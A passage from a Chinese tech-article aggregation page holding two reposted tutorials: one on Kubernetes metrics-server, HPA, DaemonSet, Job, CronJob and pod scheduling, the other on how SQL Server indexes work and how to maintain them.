...A的实现原理。 1、安装metrics-server metrics-server可以用来收集集群中的资源使用情况 安装git[root@k8s-master01 ~] yum install git -y 获取metrics-server, 注意使用的版本[root@k8s-master01 ~] git clone -b v0.3.6 https://github.com/kubernetes-incubator/metrics-server 修改deployment, 注意修改的是镜像和初始化参数[root@k8s-master01 ~] cd /root/metrics-server/deploy/1.8+/[root@k8s-master01 1.8+] vim metrics-server-deployment.yaml按图中添加下面选项hostNetwork: trueimage: registry.cn-hangzhou.aliyuncs.com/google_containers/metrics-server-amd64:v0.3.6args:- --kubelet-insecure-tls- --kubelet-preferred-address-types=InternalIP,Hostname,InternalDNS,ExternalDNS,ExternalIP 2、安装metrics-server [root@k8s-master01 1.8+] kubectl apply -f ./ 3、查看pod运行情况 [root@k8s-master01 1.8+] kubectl get pod -n kube-systemmetrics-server-6b976979db-2xwbj 1/1 Running 0 90s 4、使用kubectl top node 查看资源使用情况 [root@k8s-master01 1.8+] kubectl top nodeNAME CPU(cores) CPU% MEMORY(bytes) MEMORY%k8s-master01 289m 14% 1582Mi 54% k8s-node01 81m 4% 1195Mi 40% k8s-node02 72m 3% 1211Mi 41% [root@k8s-master01 1.8+] kubectl top pod -n kube-systemNAME CPU(cores) MEMORY(bytes)coredns-6955765f44-7ptsb 3m 9Micoredns-6955765f44-vcwr5 3m 8Mietcd-master 14m 145Mi... 至此,metrics-server安装完成 5、 准备deployment和servie 创建pc-hpa-pod.yaml文件,内容如下: apiVersion: apps/v1kind: Deploymentmetadata:name: nginxnamespace: devspec:strategy: 策略type: RollingUpdate 滚动更新策略replicas: 1selector:matchLabels:app: nginx-podtemplate:metadata:labels:app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1resources: 资源配额limits: 限制资源(上限)cpu: "1" CPU限制,单位是core数requests: 请求资源(下限)cpu: "100m" CPU限制,单位是core数 创建deployment [root@k8s-master01 1.8+] kubectl run nginx --image=nginx:1.17.1 --requests=cpu=100m -n dev 6、创建service [root@k8s-master01 1.8+] kubectl expose deployment nginx --type=NodePort --port=80 -n dev 7、查看 [root@k8s-master01 1.8+] kubectl get deployment,pod,svc -n devNAME READY UP-TO-DATE AVAILABLE AGEdeployment.apps/nginx 1/1 1 1 47sNAME READY STATUS RESTARTS AGEpod/nginx-7df9756ccc-bh8dr 1/1 Running 0 47sNAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGEservice/nginx NodePort 10.101.18.29 <none> 80:31830/TCP 35s 8、 部署HPA 创建pc-hpa.yaml文件,内容如下: apiVersion: autoscaling/v1kind: HorizontalPodAutoscalermetadata:name: pc-hpanamespace: devspec:minReplicas: 1 最小pod数量maxReplicas: 10 最大pod数量 ,pod数量会在1~10之间自动伸缩targetCPUUtilizationPercentage: 3 CPU使用率指标,如果cpu使用率达到3%就会进行扩容;为了测试方便,将这个数值调小一些scaleTargetRef: 指定要控制的nginx信息apiVersion: /v1kind: Deploymentname: nginx 创建hpa [root@k8s-master01 1.8+] kubectl create -f pc-hpa.yamlhorizontalpodautoscaler.autoscaling/pc-hpa created 查看hpa [root@k8s-master01 1.8+] kubectl get hpa -n devNAME REFERENCE TARGETS MINPODS MAXPODS REPLICAS AGEpc-hpa Deployment/nginx 0%/3% 1 10 1 62s 9、 测试 使用压测工具对service地址192.168.5.4:31830进行压测,然后通过控制台查看hpa和pod的变化 hpa变化 [root@k8s-master01 ~] kubectl get hpa -n dev -wNAME REFERENCE TARGETS MINPODS MAXPODS REPLICAS AGEpc-hpa Deployment/nginx 0%/3% 1 10 1 4m11spc-hpa Deployment/nginx 0%/3% 1 10 1 5m19spc-hpa Deployment/nginx 22%/3% 1 10 1 6m50spc-hpa Deployment/nginx 22%/3% 1 10 4 7m5spc-hpa Deployment/nginx 22%/3% 1 10 8 7m21spc-hpa Deployment/nginx 6%/3% 1 10 8 7m51spc-hpa Deployment/nginx 0%/3% 1 10 8 9m6spc-hpa Deployment/nginx 0%/3% 1 10 8 13mpc-hpa Deployment/nginx 0%/3% 1 10 1 14m deployment变化 [root@k8s-master01 ~] kubectl get deployment -n dev -wNAME READY UP-TO-DATE AVAILABLE AGEnginx 1/1 1 1 11mnginx 1/4 1 1 13mnginx 1/4 1 1 13mnginx 1/4 1 1 13mnginx 1/4 4 1 13mnginx 1/8 4 1 14mnginx 1/8 4 1 14mnginx 1/8 4 1 14mnginx 1/8 8 1 14mnginx 2/8 8 2 14mnginx 3/8 8 3 14mnginx 4/8 8 4 14mnginx 5/8 8 5 14mnginx 6/8 8 6 14mnginx 7/8 8 7 14mnginx 8/8 8 8 15mnginx 8/1 8 8 20mnginx 8/1 8 8 20mnginx 1/1 1 1 20m pod变化 [root@k8s-master01 ~] kubectl get pods -n dev -wNAME READY STATUS RESTARTS AGEnginx-7df9756ccc-bh8dr 1/1 Running 0 11mnginx-7df9756ccc-cpgrv 0/1 Pending 0 0snginx-7df9756ccc-8zhwk 0/1 Pending 0 0snginx-7df9756ccc-rr9bn 0/1 Pending 0 0snginx-7df9756ccc-cpgrv 0/1 ContainerCreating 0 0snginx-7df9756ccc-8zhwk 0/1 ContainerCreating 0 0snginx-7df9756ccc-rr9bn 0/1 ContainerCreating 0 0snginx-7df9756ccc-m9gsj 0/1 Pending 0 0snginx-7df9756ccc-g56qb 0/1 Pending 0 0snginx-7df9756ccc-sl9c6 0/1 Pending 0 0snginx-7df9756ccc-fgst7 0/1 Pending 0 0snginx-7df9756ccc-g56qb 0/1 ContainerCreating 0 0snginx-7df9756ccc-m9gsj 0/1 ContainerCreating 0 0snginx-7df9756ccc-sl9c6 0/1 ContainerCreating 0 0snginx-7df9756ccc-fgst7 0/1 ContainerCreating 0 0snginx-7df9756ccc-8zhwk 1/1 Running 0 19snginx-7df9756ccc-rr9bn 1/1 Running 0 30snginx-7df9756ccc-m9gsj 1/1 Running 0 21snginx-7df9756ccc-cpgrv 1/1 Running 0 47snginx-7df9756ccc-sl9c6 1/1 Running 0 33snginx-7df9756ccc-g56qb 1/1 Running 0 48snginx-7df9756ccc-fgst7 1/1 Running 0 66snginx-7df9756ccc-fgst7 1/1 Terminating 0 6m50snginx-7df9756ccc-8zhwk 1/1 Terminating 0 7m5snginx-7df9756ccc-cpgrv 1/1 Terminating 0 7m5snginx-7df9756ccc-g56qb 1/1 Terminating 0 6m50snginx-7df9756ccc-rr9bn 1/1 Terminating 0 7m5snginx-7df9756ccc-m9gsj 1/1 Terminating 0 6m50snginx-7df9756ccc-sl9c6 1/1 Terminating 0 6m50s DaemonSet 简称DS,ds可以保证在集群中的每一台节点(或指定节点)上都运行一个副本,一般适用于日志收集、节点监控等场景;也就是说,如果一个Pod提供的功能是节点级别的(每个节点都需要且只需要一个),那么这类Pod就适合使用DaemonSet类型的控制器创建。 DaemonSet控制器的特点: 每当向集群中添加一个节点时,指定的 Pod 副本也将添加到该节点上 当节点从集群中移除时,Pod 也就被垃圾回收了 配置模板 apiVersion: apps/v1 版本号kind: DaemonSet 类型 metadata: 元数据name: rs名称 namespace: 所属命名空间 labels: 标签controller: daemonsetspec: 详情描述revisionHistoryLimit: 3 保留历史版本updateStrategy: 更新策略type: RollingUpdate 滚动更新策略rollingUpdate: 滚动更新maxUnavailable: 1 最大不可用状态的 Pod 的最大值,可以为百分比,也可以为整数selector: 选择器,通过它指定该控制器管理哪些podmatchLabels: Labels匹配规则app: nginx-podmatchExpressions: Expressions匹配规则- {key: app, operator: In, values: [nginx-pod]}template: 模板,当副本数量不足时,会根据下面的模板创建pod副本metadata:labels:app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1ports:- containerPort: 80 1、创建ds 创建pc-daemonset.yaml,内容如下: apiVersion: apps/v1kind: DaemonSet metadata:name: pc-daemonsetnamespace: devspec: selector:matchLabels:app: nginx-podtemplate:metadata:labels:app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1 运行 创建daemonset[root@k8s-master01 ~] kubectl create -f pc-daemonset.yamldaemonset.apps/pc-daemonset created 查看daemonset[root@k8s-master01 ~] kubectl get ds -n dev -o wideNAME DESIRED CURRENT READY UP-TO-DATE AVAILABLE AGE CONTAINERS IMAGES pc-daemonset 2 2 2 2 2 24s nginx nginx:1.17.1 查看pod,发现在每个Node上都运行一个pod[root@k8s-master01 ~] kubectl get pods -n dev -o wideNAME READY STATUS RESTARTS AGE IP NODE pc-daemonset-9bck8 1/1 Running 0 37s 10.244.1.43 node1 pc-daemonset-k224w 1/1 Running 0 37s 10.244.2.74 node2 2、删除daemonset [root@k8s-master01 ~] kubectl delete -f pc-daemonset.yamldaemonset.apps "pc-daemonset" deleted Job 主要用于负责批量处理一次性(每个任务仅运行一次就结束)任务。当然,你也可以运行多次,配置好即可,Job特点如下: 当Job创建的pod执行成功结束时,Job将记录成功结束的pod数量 当成功结束的pod达到指定的数量时,Job将完成执行 配置模板 apiVersion: batch/v1 版本号kind: Job 类型 metadata: 元数据name: rs名称 namespace: 所属命名空间 labels: 标签controller: jobspec: 详情描述completions: 1 指定job需要成功运行Pods的次数。默认值: 1parallelism: 1 指定job在任一时刻应该并发运行Pods的数量。默认值: 1activeDeadlineSeconds: 30 指定job可运行的时间期限,超过时间还未结束,系统将会尝试进行终止。backoffLimit: 6 指定job失败后进行重试的次数。默认是6manualSelector: true 是否可以使用selector选择器选择pod,默认是falseselector: 选择器,通过它指定该控制器管理哪些podmatchLabels: Labels匹配规则app: counter-podmatchExpressions: Expressions匹配规则- {key: app, operator: In, values: [counter-pod]}template: 模板,当副本数量不足时,会根据下面的模板创建pod副本metadata:labels:app: counter-podspec:restartPolicy: Never 重启策略只能设置为Never或者OnFailurecontainers:- name: counterimage: busybox:1.30command: ["bin/sh","-c","for i in 9 8 7 6 5 4 3 2 1; do echo $i;sleep 2;done"] 关于重启策略设置的说明:(这里只能设置为Never或者OnFailure) 如果指定为OnFailure,则job会在pod出现故障时重启容器,而不是创建pod,failed次数不变 如果指定为Never,则job会在pod出现故障时创建新的pod,并且故障pod不会消失,也不会重启,failed次数加1 如果指定为Always的话,就意味着一直重启,意味着job任务会重复去执行了,当然不对,所以不能设置为Always 1、创建一个job 创建pc-job.yaml,内容如下: apiVersion: batch/v1kind: Job metadata:name: pc-jobnamespace: devspec:manualSelector: trueselector:matchLabels:app: counter-podtemplate:metadata:labels:app: counter-podspec:restartPolicy: Nevercontainers:- name: counterimage: busybox:1.30command: ["bin/sh","-c","for i in 9 8 7 6 5 4 3 2 1; do echo $i;sleep 3;done"] 创建 创建job[root@k8s-master01 ~] kubectl create -f pc-job.yamljob.batch/pc-job created 查看job[root@k8s-master01 ~] kubectl get job -n dev -o wide -wNAME COMPLETIONS DURATION AGE CONTAINERS IMAGES SELECTORpc-job 0/1 21s 21s counter busybox:1.30 app=counter-podpc-job 1/1 31s 79s counter busybox:1.30 app=counter-pod 通过观察pod状态可以看到,pod在运行完毕任务后,就会变成Completed状态[root@k8s-master01 ~] kubectl get pods -n dev -wNAME READY STATUS RESTARTS AGEpc-job-rxg96 1/1 Running 0 29spc-job-rxg96 0/1 Completed 0 33s 接下来,调整下pod运行的总数量和并行数量 即:在spec下设置下面两个选项 completions: 6 指定job需要成功运行Pods的次数为6 parallelism: 3 指定job并发运行Pods的数量为3 然后重新运行job,观察效果,此时会发现,job会每次运行3个pod,总共执行了6个pod[root@k8s-master01 ~] kubectl get pods -n dev -wNAME READY STATUS RESTARTS AGEpc-job-684ft 1/1 Running 0 5spc-job-jhj49 1/1 Running 0 5spc-job-pfcvh 1/1 Running 0 5spc-job-684ft 0/1 Completed 0 11spc-job-v7rhr 0/1 Pending 0 0spc-job-v7rhr 0/1 Pending 0 0spc-job-v7rhr 0/1 ContainerCreating 0 0spc-job-jhj49 0/1 Completed 0 11spc-job-fhwf7 0/1 Pending 0 0spc-job-fhwf7 0/1 Pending 0 0spc-job-pfcvh 0/1 Completed 0 11spc-job-5vg2j 0/1 Pending 0 0spc-job-fhwf7 0/1 ContainerCreating 0 0spc-job-5vg2j 0/1 Pending 0 0spc-job-5vg2j 0/1 ContainerCreating 0 0spc-job-fhwf7 1/1 Running 0 2spc-job-v7rhr 1/1 Running 0 2spc-job-5vg2j 1/1 Running 0 3spc-job-fhwf7 0/1 Completed 0 12spc-job-v7rhr 0/1 Completed 0 12spc-job-5vg2j 0/1 Completed 0 12s 2、删除 删除jobkubectl delete -f pc-job.yaml CronJob 简称为CJ,CronJob控制器以 Job控制器资源为其管控对象,并借助它管理pod资源对象,Job控制器定义的作业任务在其控制器资源创建之后便会立即执行,但CronJob可以以类似于Linux操作系统的周期性任务作业计划的方式控制其运行时间点及重复运行的方式。也就是说,CronJob可以在特定的时间点(反复的)去运行job任务。可以理解为定时任务 配置模板 apiVersion: batch/v1beta1 版本号kind: CronJob 类型 metadata: 元数据name: rs名称 namespace: 所属命名空间 labels: 标签controller: cronjobspec: 详情描述schedule: cron格式的作业调度运行时间点,用于控制任务在什么时间执行concurrencyPolicy: 并发执行策略,用于定义前一次作业运行尚未完成时是否以及如何运行后一次的作业failedJobHistoryLimit: 为失败的任务执行保留的历史记录数,默认为1successfulJobHistoryLimit: 为成功的任务执行保留的历史记录数,默认为3startingDeadlineSeconds: 启动作业错误的超时时长jobTemplate: job控制器模板,用于为cronjob控制器生成job对象;下面其实就是job的定义metadata:spec:completions: 1parallelism: 1activeDeadlineSeconds: 30backoffLimit: 6manualSelector: trueselector:matchLabels:app: counter-podmatchExpressions: 规则- {key: app, operator: In, values: [counter-pod]}template:metadata:labels:app: counter-podspec:restartPolicy: Never containers:- name: counterimage: busybox:1.30command: ["bin/sh","-c","for i in 9 8 7 6 5 4 3 2 1; do echo $i;sleep 20;done"] cron表达式写法 需要重点解释的几个选项:schedule: cron表达式,用于指定任务的执行时间/1 <分钟> <小时> <日> <月份> <星期>分钟 值从 0 到 59.小时 值从 0 到 23.日 值从 1 到 31.月 值从 1 到 12.星期 值从 0 到 6, 0 代表星期日多个时间可以用逗号隔开; 范围可以用连字符给出;可以作为通配符; /表示每... 例如1 // 每个小时的第一分钟执行/1 // 每分钟都执行concurrencyPolicy:Allow: 允许Jobs并发运行(默认)Forbid: 禁止并发运行,如果上一次运行尚未完成,则跳过下一次运行Replace: 替换,取消当前正在运行的作业并用新作业替换它 1、创建cronJob 创建pc-cronjob.yaml,内容如下: apiVersion: batch/v1beta1kind: CronJobmetadata:name: pc-cronjobnamespace: devlabels:controller: cronjobspec:schedule: "/1 " 每分钟执行一次jobTemplate:metadata:spec:template:spec:restartPolicy: Nevercontainers:- name: counterimage: busybox:1.30command: ["bin/sh","-c","for i in 9 8 7 6 5 4 3 2 1; do echo $i;sleep 3;done"] 运行 创建cronjob[root@k8s-master01 ~] kubectl create -f pc-cronjob.yamlcronjob.batch/pc-cronjob created 查看cronjob[root@k8s-master01 ~] kubectl get cronjobs -n devNAME SCHEDULE SUSPEND ACTIVE LAST SCHEDULE AGEpc-cronjob /1 False 0 <none> 6s 查看job[root@k8s-master01 ~] kubectl get jobs -n devNAME COMPLETIONS DURATION AGEpc-cronjob-1592587800 1/1 28s 3m26spc-cronjob-1592587860 1/1 28s 2m26spc-cronjob-1592587920 1/1 28s 86s 查看pod[root@k8s-master01 ~] kubectl get pods -n devpc-cronjob-1592587800-x4tsm 0/1 Completed 0 2m24spc-cronjob-1592587860-r5gv4 0/1 Completed 0 84spc-cronjob-1592587920-9dxxq 1/1 Running 0 24s 2、删除cronjob kubectl delete -f pc-cronjob.yaml pod调度 什么是调度 默认情况下,一个pod在哪个node节点上运行,是通过scheduler组件采用相应的算法计算出来的,这个过程是不受人工控制的; 调度规则 但是在实际使用中,我们想控制某些pod定向到达某个节点上,应该怎么做呢?其实k8s提供了四类调度规则 调度方式 描述 自动调度 通过scheduler组件采用相应的算法计算得出运行在哪个节点上 定向调度 运行到指定的node节点上,通过NodeName、NodeSelector实现 亲和性调度 跟谁关系好就调度到哪个节点上 1、nodeAffinity :节点亲和性,调度到关系好的节点上 2、podAffinity:pod亲和性,调度到关系好的pod所在的节点上 3、PodAntAffinity:pod反清河行,调度到关系差的那个pod所在的节点上 污点(容忍)调度 污点是站在node的角度上的,比如果nodeA有一个污点,大家都别来,此时nodeA会拒绝master调度过来的pod 定向调度 指的是利用在pod上声明nodeName或nodeSelector的方式将pod调度到指定的pod节点上,因为这种定向调度是强制性的,所以如果node节点不存在的话,也会向上面进行调度,只不过pod会运行失败; 1、定向调度-> nodeName nodeName 是将pod强制调度到指定名称的node节点上,这种方式跳过了scheduler的调度逻辑,直接将pod调度到指定名称的节点上,配置文件内容如下 apiVersion: v1 版本号kind: Pod 资源类型metadata: name: pod-namenamespace: devspec: containers: - image: nginx:1.17.1name: nginx-containernodeName: node1 调度到node1节点上 2、定向调度 -> NodeSelector NodeSelector是将pod调度到添加了指定label标签的node节点上,它是通过k8s的label-selector机制实现的,也就是说,在创建pod之前,会由scheduler用matchNodeSelecto调度策略进行label标签的匹配,找出目标node,然后在将pod调度到目标node; 要实验NodeSelector,首先得给node节点加上label标签 kubectl label nodes node1 nodetag=node1 配置文件内容如下 apiVersion: v1 版本号kind: Pod 资源类型metadata: name: pod-namenamespace: devspec: containers: - image: nginx:1.17.1name: nginx-containernodeSelector: nodetag: node1 调度到具有nodetag=node1标签的节点上 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_27184497/article/details/121765387。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-09-29 09:08:28
422
转载
转载文章
...用到它。 SQLS在安装完成之后,安装程序会自动创建master、model、tempdb等几个特殊的系统数据库,其中master是SQLS的主数据库,用于保存和管理其它系统数据库、用户数据库以及SQLS的系统信息,它在SQLS中的地位与WINDOWS下的注册表相当。 master中有一个名为sysindexes的系统表,专门管理索引。SQLS查询数据表的操作都必须用到它,毫无疑义,它是本文主角之一。 查看一张表的索引属性,可以在查询分析器中使用以下命令:select from sysindexes where id=object_id(‘tablename’) ;而要查看表的索引所占空间的大小,可以使用系统存储过程命令:sp_spaceused tablename,其中参数tablename为被索引的表名。 三、平衡树 如果你通过书后的索引知道了一个关键字所在的页码,你有可能通过随机的翻寻,最终到达正确的页码。但更科学更快捷的方法是:首先把书翻到大概二分之一的位置,如果要找的页码比该页的页码小,就把书向前翻到四分之一处,否则,就把书向后翻到四分之三的地方,依此类推,把书页续分成更小的部分,直至正确的页码。这叫“两分法”,微软在官方教程MOC里另有一种说法:叫B树(B-Tree,Balance Tree),即平衡树。 一个表索引由若干页面组成,这些页面构成了一个树形结构。B树由“根”(root)开始,称为根级节点,它通过指向另外两个页,把一个表的记录从逻辑上分成两个部分:“枝”—--非叶级节点(Non-Leaf Level);而非叶级节点又分别指向更小的部分:“叶”——叶级节点(Leaf Level)。根节点、非叶级节点和叶级节点都位于索引页中,统称为索引节点,属于索引页的范筹。这些“枝”、“叶”最终指向了具体的数据页(Page)。在根级节点和叶级节点之间的叶又叫数据中间页。 “根”(root)对应了sysindexes表的Root字段,其中记载了非叶级节点的物理位置(即指针);非叶级节点位于根节点和叶节点之间,记载了指向叶级节点的指针;而叶级节点则最终指向数据页。这就是“平衡树”。 四、聚集索引和非聚集索引 从形式上而言,索引分为聚集索引(Clustered Indexes)和非聚集索引(NonClustered Indexes)。 聚集索引相当于书籍脊背上那个特定的编号。如果对一张表建立了聚集索引,其索引页中就包含着建立索引的列的值(下称索引键值),那么表中的记录将按照该索引键值进行排序。比如,我们如果在“姓名”这一字段上建立了聚集索引,则表中的记录将按照姓名进行排列;如果建立了聚集索引的列是数值类型的,那么记录将按照该键值的数值大小来进行排列。 非聚集索引用于指定数据的逻辑顺序,也就是说,表中的数据并没有按照索引键值指定的顺序排列,而仍然按照插入记录时的顺序存放。其索引页中包含着索引键值和它所指向该行记录在数据页中的物理位置,叫做行定位符(RID:Row ID)。好似书后面的的索引表,索引表中的顺序与实际的页码顺序也是不一致的。而且一本书也许有多个索引。比如主题索引和作者索引。 SQL Server在默认的情况下建立的索引是非聚集索引,由于非聚集索引不对表中的数据进行重组,而只是存储索引键值并用一个指针指向数据所在的页面。一个表如果没有聚集索引时,理论上可以建立249个非聚集索引。每个非聚集索引提供访问数据的不同排序顺序。 五、数据是怎样被访问的 若能真正理解了以上索引的基础知识,那么再回头来看索引的工作原理就简单和轻松多了。 (一)SQLS怎样访问没有建立任何索引数据表: Heap译成汉语叫做“堆”,其本义暗含杂乱无章、无序的意思,前面提到数据值被写进数据页时,由于每一行记录之间并没地有特定的排列顺序,所以行与行的顺序就是随机无序的,当然表中的数据页也就是无序的了,而表中所有数据页就形成了“堆”,可以说,一张没有索引的数据表,就像一个只有书柜而没有索引卡片柜的图书馆,书库里面塞满了一堆乱七八糟的图书。当读者对管理员提交查询请求后,管理员就一头钻进书库,对照查找内容从头开始一架一柜的逐本查找,运气好的话,在第一个书架的第一本书就找到了,运气不好的话,要到最后一个书架的最后一本书才找到。 SQLS在接到查询请求的时候,首先会分析sysindexes表中一个叫做索引标志符(INDID: Index ID)的字段的值,如果该值为0,表示这是一张数据表而不是索引表,SQLS就会使用sysindexes表的另一个字段——也就是在前面提到过的FirstIAM值中找到该表的IAM页链——也就是所有数据页集合。 这就是对一个没有建立索引的数据表进行数据查找的方式,是不是很没效率?对于没有索引的表,对于一“堆”这样的记录,SQLS也只能这样做,而且更没劲的是,即使在第一行就找到了被查询的记录,SQLS仍然要从头到尾的将表扫描一次。这种查询称为“遍历”,又叫“表扫描”。 可见没有建立索引的数据表照样可以运行,不过这种方法对于小规模的表来说没有什么太大的问题,但要查询海量的数据效率就太低了。 (二)SQLS怎样访问建立了非聚集索引的数据表: 如前所述,非聚集索引可以建多个,具有B树结构,其叶级节点不包含数据页,只包含索引行。假定一个表中只有非聚集索引,则每个索引行包含了非聚集索引键值以及行定位符(ROW ID,RID),他们指向具有该键值的数据行。每一个RID由文件ID、页编号和在页中行的编号组成。 当INDID的值在2-250之间时,意味着表中存在非聚集索引页。此时,SQLS调用ROOT字段的值指向非聚集索引B树的ROOT,在其中查找与被查询最相近的值,根据这个值找到在非叶级节点中的页号,然后顺藤摸瓜,在叶级节点相应的页面中找到该值的RID,最后根据这个RID在Heap中定位所在的页和行并返回到查询端。 例如:假定在Lastname上建立了非聚集索引,则执行Select From Member Where Lastname=’Ota’时,查询过程是:①SQLS查询INDID值为2;②立即从根出发,在非叶级节点中定位最接近Ota的值“Martin”,并查到其位于叶级页面的第61页;③仅在叶级页面的第61页的Martin下搜寻Ota的RID,其RID显示为N∶706∶4,表示Lastname字段中名为Ota的记录位于堆的第707页的第4行,N表示文件的ID值,与数据无关;④根据上述信息,SQLS立马在堆的第 707页第4行将该记录“揪”出来并显示于前台(客户端)。视表的数据量大小,整个查询过程费时从百分之几毫秒到数毫秒不等。 在谈到索引基本概念的时候,我们就提到了这种方式: 图书馆的前台有很多索引卡片柜,里面分了若干的类别,诸如按照书名笔画或拼音顺序、作者笔画或拼音顺序等等,但不同之处有二:① 索引卡片上记录了每本书摆放的具体位置——位于某柜某架的第几本——而不是“特殊编号”;② 书脊上并没有那个“特殊编号”。管理员在索引柜中查到所需图书的具体位置(RID)后,根据RID直接在书库中的具体位置将书提出来。 显然,这种查询方式效率很高,但资源占用极大,因为书库中书的位置随时在发生变化,必然要求管理员花费额外的精力和时间随时做好索引更新。 (三)SQLS怎样访问建立了聚集索引的数据表: 在聚集索引中,数据所在的数据页是叶级,索引数据所在的索引页是非叶级。 查询原理和上述对非聚集索引的查询相似,但由于记录是按照聚集索引中索引键值进行排序,换句话说,聚集索引的索引键值也就是具体的数据页。 这就好比书库中的书就是按照书名的拼音在排序,而且也只按照这一种排序方式建立相应的索引卡片,于是查询起来要比上述只建立非聚集索引的方式要简单得多。仍以上面的查询为例: 假定在Lastname字段上建立了聚集索引,则执行Select From Member Where Lastname=’Ota’时,查询过程是:①SQLS查询INDID值为1,这是在系统中只建立了聚集索引的标志;②立即从根出发,在非叶级节点中定位最接近Ota的值“Martin”,并查到其位于叶级页面的第120页;③在位于叶级页面第120页的Martin下搜寻到Ota条目,而这一条目已是数据记录本身;④将该记录返回客户端。 这一次的效率比第二种方法更高,以致于看起来更美,然而它最大的优点也恰好是它最大的缺点——由于同一张表中同时只能按照一种顺序排列,所以在任何一种数据表中的聚集索引只能建立一个;并且建立聚集索引需要至少相当于源表120%的附加空间,以存放源表的副本和索引中间页! 难道鱼和熊掌就不能兼顾了吗?办法是有的。 (四)SQLS怎样访问既有聚集索引、又有非聚集索引的数据表: 如果我们在建立非聚集索引之前先建立了聚集索引的话,那么非聚集索引就可以使用聚集索引的关键字进行检索,就像在图书馆中,前台卡片柜中的可以有不同类别的图书索引卡,然而每张卡片上都载明了那个特殊编号——并不是书籍存放的具体位置。这样在最大程度上既照顾了数据检索的快捷性,又使索引的日常维护变得更加可行,这是最为科学的检索方法。 也就是说,在只建立了非聚集索引的情况下,每个叶级节点指明了记录的行定位符(RID);而在既有聚集索引又有非聚集索引的情况下,每个叶级节点所指向的是该聚集索引的索引键值,即数据记录本身。 假设聚集索引建立在Lastname上,而非聚集索引建立在Firstname上,当执行Select From Member Where Firstname=’Mike’时,查询过程是:①SQLS查询INDID值为2;②立即从根出发,在Firstname的非聚集索引的非叶级节点中定位最接近Mike的值“Jose”条目;③从Jose条目下的叶级页面中查到Mike逻辑位置——不是RID而是聚集索引的指针;④根据这一指针所指示位置,直接进入位于Lastname的聚集索引中的叶级页面中到达Mike数据记录本身;⑤将该记录返回客户端。 这就完全和我们在“索引的基本概念”中讲到的现实场景完全一样了,当数据发生更新的时候,SQLS只负责对聚集索引的健值驾以维护,而不必考虑非聚集索引,只要我们在ID类的字段上建立聚集索引,而在其它经常需要查询的字段上建立非聚集索引,通过这种科学的、有针对性的在一张表上分别建立聚集索引和非聚集索引的方法,我们既享受了索引带来的灵活与快捷,又相对规避了维护索引所导致的大量的额外资源消耗。 六、索引的优点和不足 索引有一些先天不足:1:建立索引,系统要占用大约为表的1.2倍的硬盘和内存空间来保存索引。2:更新数据的时候,系统必须要有额外的时间来同时对索引进行更新,以维持数据和索引的一致性——这就如同图书馆要有专门的位置来摆放索引柜,并且每当库存图书发生变化时都需要有人将索引卡片重整以保持索引与库存的一致。 当然建立索引的优点也是显而易见的:在海量数据的情况下,如果合理的建立了索引,则会大大加强SQLS执行查询、对结果进行排序、分组的操作效率。 实践表明,不恰当的索引不但于事无补,反而会降低系统性能。因为大量的索引在进行插入、修改和删除操作时比没有索引花费更多的系统时间。比如在如下字段建立索引应该是不恰当的:1、很少或从不引用的字段;2、逻辑型的字段,如男或女(是或否)等。 综上所述,提高查询效率是以消耗一定的系统资源为代价的,索引不能盲目的建立,必须要有统筹的规划,一定要在“加快查询速度”与“降低修改速度”之间做好平衡,有得必有失,此消则彼长。这是考验一个DBA是否优秀的很重要的指标。 至此,我们一直在说SQLS在维护索引时要消耗系统资源,那么SQLS维护索引时究竟消耗了什么资源?会产生哪些问题?究竟应该才能优化字段的索引? 在上篇中,我们就索引的基本概念和数据查询原理作了详细阐述,知道了建立索引时一定要在“加快查询速度”与“降低修改速度”之间做好平衡,有得必有失,此消则彼长。那么,SQLS维护索引时究竟怎样消耗资源?应该从哪些方面对索引进行管理与优化?以下就从七个方面来回答这些问题。 一、页分裂 微软MOC教导我们:当一个数据页达到了8K容量,如果此时发生插入或更新数据的操作,将导致页的分裂(又名页拆分): 1、有聚集索引的情况下:聚集索引将被插入和更新的行指向特定的页,该页由聚集索引关键字决定; 2、只有堆的情况下:只要有空间就可以插入新的行,但是如果我们对行数据的更新需要更多的空间,以致大于了当前页的可用空间,行就被移到新的页中,并且在原位置留下一个转发指针,指向被移动的新行,如果具有转发指针的行又被移动了,那么原来的指针将重新指向新的位置; 3、如果堆中有非聚集索引,那么尽管插入和更新操作在堆中不会发生页分裂,但是在非聚集索引上仍然产生页分裂。 无论有无索引,大约一半的数据将保留在老页面,而另一半将放入新页面,并且新页面可能被分配到任何可用的页。所以,频繁页分裂,后果很严重,将使物理表产生大量数据碎片,导致直接造成I/O效率的急剧下降,最后,停止SQLS的运行并重建索引将是我们的唯一选择! 二、填充因子 然而在“混沌之初”,就可以在一定程度上避免不愉快出现:在创建索引时,可以为这个索引指定一个填充因子,以便在索引的每个叶级页面上保留一定百分比的空间,将来数据可以进行扩充和减少页分裂。填充因子是从0到100的百分比数值,设为100时表示将数据页填满。只有当不会对数据进行更改时(例如只读表中)才用此设置。值越小则数据页上的空闲空间越大,这样可以减少在索引增长过程中进行页分裂的需要,但这一操作需要占用更多的硬盘空间。 填充因子只在创建索引时执行,索引创建以后,当表中进行数据的添加、删除或更新时,是不会保持填充因子的,如果想在数据页上保持额外的空间,则有悖于使用填充因子的本意,因为随着数据的输入,SQLS必须在每个页上进行页拆分,以保持填充因子指定的空闲空间。因此,只有在表中的数据进行了较大的变动,才可以填充数据页的空闲空间。这时,可以从容的重建索引,重新指定填充因子,重新分布数据。 反之,填充因子指定不当,就会降低数据库的读取性能,其降低量与填充因子设置值成反比。例如,当填充因子的值为50时,数据库的读取性能会降低两倍!所以,只有在表中根据现有数据创建新索引,并且可以预见将来会对这些数据进行哪些更改时,设置填充因子才有意义。 三、两道数学题 假定数据库设计没有问题,那么是否象上篇中分析的那样,当你建立了众多的索引,在查询工作中SQLS就只能按照“最高指示”用索引处理每一个提交的查询呢?答案是否定的! 上篇“数据是怎样被访问的”章节中提到的四种索引方案只是一种静态的、标准的和理论上的分析比较,实际上,将在外,军令有所不从,SQLS几乎完全是“自主”的决定是否使用索引或使用哪一个索引! 这是怎么回事呢? 